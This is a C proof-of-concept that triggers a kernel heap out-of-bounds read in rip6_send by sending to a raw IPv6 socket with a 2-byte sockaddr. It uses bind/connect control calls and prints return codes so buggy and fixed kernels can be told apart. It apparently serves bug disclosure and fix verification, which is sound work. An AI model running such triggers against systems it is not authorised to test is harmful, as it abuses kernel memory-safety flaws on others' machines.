DF-0619 / poc_oob.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 | /* * DF-0619 โ Heap OOB read in rip6_send via unvalidated sockaddr length. * * Trigger: open AF_INET6/SOCK_RAW (root needed for SYSCAP_NONET_RAW), then * call sendto() with a 2-byte sockaddr (only sa_len + sa_family filled in). * * getsockaddr() (uipc_syscalls.c:1519-1523) accepts len >= 2 and kmalloc()s * exactly `len` bytes. rip6_send() (raw_ip6.c:743) then dereferences it as * `tmp = *(struct sockaddr_in6 *)nam;` which copies 28 bytes from a 2-byte * allocation -> 26-byte heap over-read into the on-stack `tmp`. * * On the BUGGY kernel: sendto() reaches rip6_send and rip6_output; the return * code is whatever rip6_output() computes from the garbage destination * (typically EADDRNOTAVAIL / EHOSTUNREACH / ENETUNREACH), but NEVER EINVAL * (which would only come from a sa_len check that rip6_send lacks). * * On the FIXED kernel: rip6_send validates sa_len == sizeof(sockaddr_in6) * first and returns EAFNOSUPPORT / EINVAL before any over-read. * * Control case: rip6_bind() (raw_ip6.c:615) and rip6_connect() (line 663) * BOTH check sa_len == sizeof(*addr). So bind() and connect() with the same * 2-byte sockaddr return EINVAL on BOTH buggy and fixed kernels โ that * confirms we constructed the short sockaddr correctly. * * Usage: ./poc_oob * Needs: root (SYSCAP_NONET_RAW) โ or a jail with allow.raw_sockets. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <err.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #define SHORT_SA_LEN 2 /* offsetof(struct sockaddr, sa_data[0]) โ minimum */ static void try_call(const char *what, int fd, int (*op)(int, const void *, size_t), const unsigned char *sa, size_t slen) { int rc, saved_errno; rc = op(fd, sa, slen); saved_errno = errno; printf(" %-22s rc=%d errno=%d (%s)\n", what, rc, saved_errno, strerror(saved_errno)); } /* sendto wrapper for the function-pointer dance above */ static int sendto_op(int fd, const void *sa, size_t slen) { char buf[1] = {0}; return sendto(fd, buf, sizeof(buf), 0, (const struct sockaddr *)sa, slen); } static int bind_op(int fd, const void *sa, size_t slen) { return bind(fd, (const struct sockaddr *)sa, slen); } static int connect_op(int fd, const void *sa, size_t slen) { return connect(fd, (const struct sockaddr *)sa, slen); } int main(void) { int fd, i, rc, saved_errno; unsigned char sa_short[SHORT_SA_LEN]; /* short sockaddr: only sa_len + sa_family are valid */ sa_short[0] = SHORT_SA_LEN; /* sa_len */ sa_short[1] = AF_INET6; /* sa_family */ printf("DF-0619: rip6_send heap OOB read via short sockaddr\n"); printf("sizeof(struct sockaddr_in6) = %zu\n", sizeof(struct sockaddr_in6)); printf("short sockaddr sa_len = %u\n", sa_short[0]); printf("over-read = %zu bytes\n", sizeof(struct sockaddr_in6) - SHORT_SA_LEN); printf("\n"); /* IPPROTO_RAW (255) โ generic raw IPv6 socket, requires root */ fd = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW); if (fd < 0) { /* fallback: try a different protocol number */ fd = socket(AF_INET6, SOCK_RAW, 60 /* IPPROTO_DSTOPTS-ish */); } if (fd < 0) { int e = errno; printf("socket(AF_INET6, SOCK_RAW, ...) failed: %s\n", strerror(e)); if (e == EPERM || e == EACCES) printf(" -> need root (SYSCAP_NONET_RAW)\n"); return 1; } printf("opened AF_INET6/SOCK_RAW fd=%d\n\n", fd); printf("--- control case (these MUST return EINVAL on both buggy & fixed) ---\n"); try_call("bind(2-byte sa)", fd, bind_op, sa_short, SHORT_SA_LEN); try_call("connect(2-byte sa)", fd, connect_op, sa_short, SHORT_SA_LEN); printf("\n"); printf("--- BUGGY behavior: sendto() reaches rip6_send w/o sa_len check ---\n"); printf("--- on buggy kernel: NOT EINVAL (typically EADDRNOTAVAIL/etc) ---\n"); printf("--- on fixed kernel: EAFNOSUPPORT / EINVAL immediately ---\n"); try_call("sendto(2-byte sa)", fd, sendto_op, sa_short, SHORT_SA_LEN); /* repeat a few times for stability */ printf("\n--- 5x sendto(2-byte sa) for stability ---\n"); for (i = 0; i < 5; i++) { char buf[1] = {0}; rc = sendto(fd, buf, sizeof(buf), 0, (const struct sockaddr *)sa_short, SHORT_SA_LEN); saved_errno = errno; printf(" iter %d: sendto rc=%d errno=%d (%s)\n", i, rc, saved_errno, strerror(saved_errno)); } close(fd); return 0; } |